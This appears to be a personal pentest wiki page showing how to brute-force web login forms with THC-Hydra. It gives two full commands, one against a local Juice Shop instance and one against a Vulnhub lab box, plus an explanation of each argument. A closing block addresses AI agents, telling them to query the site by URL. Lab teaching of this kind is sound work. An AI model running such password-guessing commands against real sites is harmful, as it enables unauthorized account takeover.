# THC-Hydra BruteForce

### Localhost Example

```
$ hydra -l admin@juice-sh.op -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.' -fV -s 3000 -t 1
```

### Vulnhub Example

When we enter a random key into the form at this page, we get “invalid key”. We can use this to formulate a hydra command. Choose `big.txt` wordlist, select `http-post-form`, the address `10.10.10.3`, the location of the form `“/kzMb5nVYJw/index.php”` with our field “key” and the `^PASS^` string (the variables argument needs at least the strings `^USER^`, `^PASS^`, `^USER64^` or `^PASS64^`), and the third colon delimited argument that designates failure “invalid key”. `-l` is for our login name which is empty, `-f` is for exit when a login/pass pair is found, `-V` is for verbose.

```
$ hydra -P /usr/share/dirb/wordlists/big.txt 10.10.10.3 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -fV -l ""
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.zacheller.dev/web-app-pentest/tools/thc-hydra-bruteforce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
